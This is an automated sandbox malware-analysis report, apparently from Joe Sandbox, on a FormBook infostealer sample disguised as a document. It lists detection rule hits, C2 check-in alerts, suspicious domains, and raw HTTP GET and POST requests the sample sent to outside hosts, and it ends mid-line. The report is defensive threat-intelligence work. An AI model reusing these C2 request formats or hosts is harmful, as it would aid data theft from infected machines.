Windows Analysis Report
PASU5160894680 DOCS.scr.exe

AI detected suspicious sample

Source: Yara match	File source: 4.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1846379339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4133191097.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4132211926.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4133252340.0000000004960000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1846811096.0000000004D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1848370775.0000000006CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4133228412.0000000003870000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: PASU5160894680 DOCS.scr.exe

Joe Sandbox ML: detected

Source: PASU5160894680 DOCS.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PASU5160894680 DOCS.scr.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Unexpected node type! Please add aupport for any new parse tree nodes to the AutoParseTreeVisitor class!VB$AnonymousDelegateVB$StateMachinemscorpe.dllCreateICeeFileGenCreateICeeFileGenDestroyICeeFileGenDestroyICeeFileGen%ld.Myalink.dllCreateALinkCreateALinkComImport_VtblGap As Integer.pdbCLSID_CorSymWriter&%s.sdatavector<T> too longS?~ source: control.exe, 00000006.00000002.4134255300.000000000541C000.00000004.10000000.00040000.00000000.sdmp, control.exe, 00000006.00000002.4133923961.0000000004EB7000.00000004.00000020.00020000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000000.1915538876.000000000344C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2136958626.00000000089CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: uFLByAWAOFbhtV.exe, 00000005.00000000.1766652300.0000000000BDE000.00000002.00000001.01000000.0000000C.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000002.4132210801.0000000000BDE000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: control.pdb source: vbc.exe, 00000004.00000002.1846972436.0000000005148000.00000004.00000020.00020000.00000000.sdmp, uFLByAWAOFbhtV.exe, 00000005.00000002.4132695833.0000000000728000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: vbc.exe, 00000004.00000002.1847344994.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000006.00000003.1849604630.00000000049AD000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000003.1847230408.00000000047F3000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000002.4133421919.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000006.00000002.4133421919.0000000004CFE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: vbc.exe, vbc.exe, 00000004.00000002.1847344994.00000000055A0000.00000040.00001000.00020000.00000000.sdmp, control.exe, control.exe, 00000006.00000003.1849604630.00000000049AD000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000003.1847230408.00000000047F3000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000002.4133421919.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, control.exe, 00000006.00000002.4133421919.0000000004CFE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: vbc.pdb source: control.exe, 00000006.00000002.4134255300.000000000541C000.00000004.10000000.00040000.00000000.sdmp, control.exe, 00000006.00000002.4133923961.0000000004EB7000.00000004.00000020.00020000.00000000.sdmp, uFLByAWAOFbhtV.exe, 0000000A.00000000.1915538876.000000000344C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2136958626.00000000089CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: control.pdbUGP source: vbc.exe, 00000004.00000002.1846972436.0000000005148000.00000004.00000020.00020000.00000000.sdmp, uFLByAWAOFbhtV.exe, 00000005.00000002.4132695833.0000000000728000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\control.exe

Code function: 6_2_00C6C1D0 FindFirstFileW,FindNextFileW,FindClose,

6_2_00C6C1D0

Source: C:\Windows\SysWOW64\control.exe	Code function: 4x nop then xor eax, eax	6_2_00C59A60
Source: C:\Windows\SysWOW64\control.exe	Code function: 4x nop then pop edi	6_2_00C5DE30
Source: C:\Windows\SysWOW64\control.exe	Code function: 4x nop then mov ebx, 00000004h	6_2_04A604DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49741 -> 43.135.99.21:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49755 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49743 -> 79.125.89.83:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49748 -> 160.251.148.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49749 -> 160.251.148.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49742 -> 79.125.89.83:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49781 -> 76.223.113.161:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49784 -> 84.32.84.37:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49760 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49750 -> 160.251.148.115:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49745 -> 79.125.89.83:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49766 -> 185.199.108.153:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49782 -> 76.223.113.161:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49754 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49776 -> 45.113.201.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49769 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49768 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49747 -> 160.251.148.115:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49786 -> 84.32.84.37:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49772 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49764 -> 185.199.108.153:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49775 -> 45.113.201.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49767 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49780 -> 76.223.113.161:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49757 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49753 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49763 -> 185.199.108.153:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49756 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49744 -> 79.125.89.83:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49759 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49783 -> 84.32.84.37:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49787 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49771 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49765 -> 185.199.108.153:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49778 -> 45.113.201.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49751 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49762 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49752 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49758 -> 203.161.43.228:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49789 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49770 -> 91.184.0.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49774 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49785 -> 84.32.84.37:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49788 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49761 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49773 -> 154.23.176.197:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49777 -> 45.113.201.77:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49779 -> 76.223.113.161:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49790 -> 3.33.130.190:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.academy-training.xyz

Yara detected Generic Downloader

Source: Yara match	File source: PASU5160894680 DOCS.scr.exe, type: SAMPLE
Source: Yara match	File source: 0.0.PASU5160894680 DOCS.scr.exe.f00000.0.unpack, type: UNPACKEDPE

Source: Joe Sandbox View	IP Address: 203.161.43.228 203.161.43.228
Source: Joe Sandbox View	IP Address: 160.251.148.115 160.251.148.115

Source: Joe Sandbox View	ASN Name: LILLY-ASUS LILLY-ASUS
Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
Source: Joe Sandbox View	ASN Name: INTERQGMOInternetIncJP INTERQGMOInternetIncJP
Source: Joe Sandbox View	ASN Name: HOSTNETNL HOSTNETNL

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /yubh/?3tV=MGGAmHlvP++E3KpIg/FvL8i1JT0OgWxwxFcygqL2UA5R59sdx989XYnZ+w7o4wVQKi3RHCwbh3FXDB4APLYG/bTnAIRthbjQ9IlTiulES96X0xboBN3l7cI=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.jz07259dkijw.cloudUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /1ki5/?3tV=gsCq1lWJF1dgPZoYALsPcNVJYLoWokZlTtBhbiV8szE8yhkYsHvmTVOKeDfgQfnx9IrMke6/s2GfQFtZ1s1QNRcJqVfOe3H7gjz1UwsXUQ8sNONuaUThKkQ=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.academy-training.xyzUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /5jwl/?3tV=WiqaMLg9GlvLXaJn7h+mylxer0KY04sj1yDW0eaYUTp/DgBuxfteLRta+sEBNgYjuWmWpmmo3drGW8kplXtIxb0p1+mOEbGDGuu9pjk/4w3rZz7uLvbccNY=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.fslab.techUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /ymla/?3tV=BvqHMV0nWlC/dF1qQ9SGd92esk2/yxlmtXJ+OaeVO1Q20dRfY2N3KYLrsWHVHDovdhcIqetDFv1Luq7dPE3I+iALpNHIcfNrfKqLui+R/P1jGO4yN6sj+Bs=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.vip66.zoneUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /top4/?3tV=5a3hUq11SmISK3qHdKia2mXgwLRkVM4pZnP+iXsVHcY4SpqJYUoammEh9pPyYI3IhaBpEAAW18wtS0XedlaJcs6ggHC5hAq1Qhwp4jbHazxRVHta3ZSkp7g=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.lyxor.topUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /swnk/?3tV=YIofVfs+RVMTlTiIWsRg/2NG6LSwccZ17VOMMr8T7NjJGKpRQCPlXVPp8EduD1P6e8BrQW5t6vS2RBJAYjg4WvzfcnuaE4r1Crjp7jLNpS7ccpgL3d7XEEo=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.unveiled.digitalUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /7ew2/?IhkTb=xPfHG0o8kZI8&3tV=IAPJnQ6xP9g+To7sKnTlpdONgQ/IZpMKDV4JVaWfPzS1iBgaX2aSuicPSUKP+tbyByJ2nvQBfa7E+7/p3v0hf5xqKOi6z2fPcNVZO3WzTaW3LMTOzeMZHpQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.cake11298.onlineUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /c85h/?IhkTb=xPfHG0o8kZI8&3tV=kYZ1lXq/hdZH/uis+T00xzejxPvlo8rfV8miq8Z/KrwXBz2m8C0A0d48n8FfouwDJQDRltn1A61Jy1UNPVSm21uxUE+/nj7G5dxHpoV9EucdjLBiC53j1jk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.jobworklanka.onlineUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /25kr/?3tV=OBaZfyA9mrXrqkerGJdoBE4AUoAB8BDMFL96R6e2a3wywxYSJcqYm8ZoKYyxvhEHyag814v77I5kSeFlkRp9ldlOkmNbRx3b8AF2oRSh5frHPX5DuU6sJMI=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.shipincheshi.skinUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /78aq/?IhkTb=xPfHG0o8kZI8&3tV=wn0evRzkTpjhxs8ZI7f7bdp7QNRPmMli5Za2X/d72voTd3Hgl3DgiTlHV2cFEBs8tUuCcCOjEkMrQzdfzw17g/NW6ia3GXbmRujRfaIyiSnkayos5qIY2c4= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.sssqqq07-22.funUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /n3rq/?3tV=AokcV8lrD1iGOQWcBcmCrANBpf6sr5VfHV9HQUhaLRmf3Oh9ttLkjbrN5cmv13PiDvU4asCjKcP/FjbrfTOvR8dEp5E+Erc+ELSxl31AK9blM+O7DS4CIrs=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.justlivn.netUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /2frz/?3tV=l87n7Q89KFkj22mcQvGyKsY8DOdSYtwW2ZIksm0w5n2yQMdP8QPDEmc5KUTMu6S9hUr3H6R86Tmthm+6q52UOZ+nCsRLRXiC8/ThNXsRz23FX+gx8VT4y+4=&IhkTb=xPfHG0o8kZI8 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.healtheduction.siteUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /tni7/?IhkTb=xPfHG0o8kZI8&3tV=Pin1WdfA+NS6cNSxoiNhG1YTVXa1Eh3sPPVbkgnhBmMZ4UpRd1NHllH88EmBo/tJBgeDNt41XaNDTXpF9fqEP/qeQ/p/TwjIkU/ZAha4TiA1Pr+q7OP4Tjw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeHost: www.globyglen.infoUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko

Source: global traffic	DNS traffic detected: DNS query: www.jz07259dkijw.cloud
Source: global traffic	DNS traffic detected: DNS query: www.academy-training.xyz
Source: global traffic	DNS traffic detected: DNS query: www.fslab.tech
Source: global traffic	DNS traffic detected: DNS query: www.vip66.zone
Source: global traffic	DNS traffic detected: DNS query: www.lyxor.top
Source: global traffic	DNS traffic detected: DNS query: www.unveiled.digital
Source: global traffic	DNS traffic detected: DNS query: www.cake11298.online
Source: global traffic	DNS traffic detected: DNS query: www.xsg.icu
Source: global traffic	DNS traffic detected: DNS query: www.jobworklanka.online
Source: global traffic	DNS traffic detected: DNS query: www.shipincheshi.skin
Source: global traffic	DNS traffic detected: DNS query: www.sssqqq07-22.fun
Source: global traffic	DNS traffic detected: DNS query: www.justlivn.net
Source: global traffic	DNS traffic detected: DNS query: www.mypos.support
Source: global traffic	DNS traffic detected: DNS query: www.healtheduction.site
Source: global traffic	DNS traffic detected: DNS query: www.globyglen.info

Source: unknown

HTTP traffic detected: POST /1ki5/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brCache-Control: no-cacheContent-Length: 200Content-Type: application/x-www-form-urlencodedConnection: closeHost: www.academy-training.xyzOrigin: http://www.academy-training.xyzReferer: http://www.academy-training.xyz/1ki5/User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like GeckoData Raw: 33 74 56 3d 74 75 71 4b 32 56 7a 6e 4c 78 51 54 4d 71 59 32 43 35 4a 6b 56 66 6c 68 54 4c 51 70 7a 48 46 46 4a 4d 30 73 63 41 73 77 38 67 56 6a 75 42 68 44 78 41 76 49 44 45 2b 37 52 51 36 67 66 4f 58 41 70 59 53 38 72 59 72 49 74 6c 6d 33 41 6e 38 62 77 71 42 46 4a 79 34 35 34 46 43 5a 58 41 4c 77 35 67 71 64 5a 46 55 79 54 77 70 2f 4e 73 35 32 61 45 75 44 41 6b 53 59 74 30 53 66 72 66 77 58 61 63 6b 56 52 58 71 41 48 71 69 79 76 54 6a 65 4e 39 67 37 31 2b 32 7a 50 33 4d 67 71 6a 4e 44 44 34 6b 51 68 69 66 38 56 4b 32 6d 32 5a 36 71 44 2f 4e 66 57 32 52 35 65 36 65 6d 79 30 79 65 34 67 3d 3d Data Ascii: 3tV=tuqK2VznLxQTMqY2C5JkVflhTLQpzHFFJM0scAsw8gVjuBhDxAvIDE+7RQ6gfOXApYS8rYrItlm3An8bwqBFJy454FCZXALw5gqdZFUyTwp/Ns52aEuDAkSYt0SfrfwXackVRXqAHqiyvTjeN9g71+2zP3MgqjNDD4kQhif8VK2m2Z6qD/NfW2R5e6emy0ye4g==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 12 Sep 2024 13:05:31 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 12 Sep 2024 13:05:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: nginxX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=63072000; includeSubDomainsContent-Encoding: gzipData Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e cd 0a c2 30 10 84 ef 7d 8a a1 97 de 0c 0a 5e 24 e6 22 f6 e6 45 7d 81 90 ac 6d a8 64 eb 6e aa f8 f6 56 91 ce 6d 7e 3e 18 db 6f dc 29 a9 a6 dc 81 05 29 07 16 a1 50 70 b8 9c 5b 04 e6 21 11 ca 7b a4 95 35 f3 b4 b2 23 c2 dd ab ee 6b 12 61 a9 5d 85 59 56 8b 70 ee dc f1 9b ed 60 cd df ff ca 6b 4f 10 7a 4c a4 85 22 7c 8c 42 aa 0b d2 98 f5 90 b6 a6 59 18 bc bc 22 73 c1 8d a7 1c c1 19 a5 4f 0a 25 79 92 cc 2f 46 57 7d 00 ce cb 33 48 b5 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 9e=0}^$"E}mdnVm~>o))Pp[!{5#ka]YVp`kOzL"\|BY"sO%y/FW}3H0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 12 Sep 2024 13:05:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: nginxX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffStrict-Transport-Security: max-age=63072000; includeSubDomainsContent-Encoding: gzipData Raw: 39 65 0d 0a 1f 8b 08 00 00 00 00 00 04 03 3d 8e cd 0a c2 30 10 84 ef 7d 8a a1 97 de 0c 0a 5e 24 e6 22 f6 e6 45 7d 81 90 ac 6d a8 64 eb 6e aa f8 f6 56 91 ce 6d 7e 3e 18 db 6f dc 29 a9 a6 dc 81 05 29 07 16 a1 50 70 b8 9c 5b 04 e6 21 11 ca 7b a4 95 35 f3 b4 b2 23 c2 dd ab ee 6b 12 61 a9 5d 85 59 56 8b 70 ee dc f1 9b ed 60 cd df ff ca 6b 4f 10 7a 4c a4 85 22 7c 8c 42 aa 0b d2 98 f5 90 b6 a6 59 18 bc bc 22 73 c1 8d a7 1c c1 19 a5 4f 0a 25 79 92 cc 2f 46 57 7d 00 ce cb 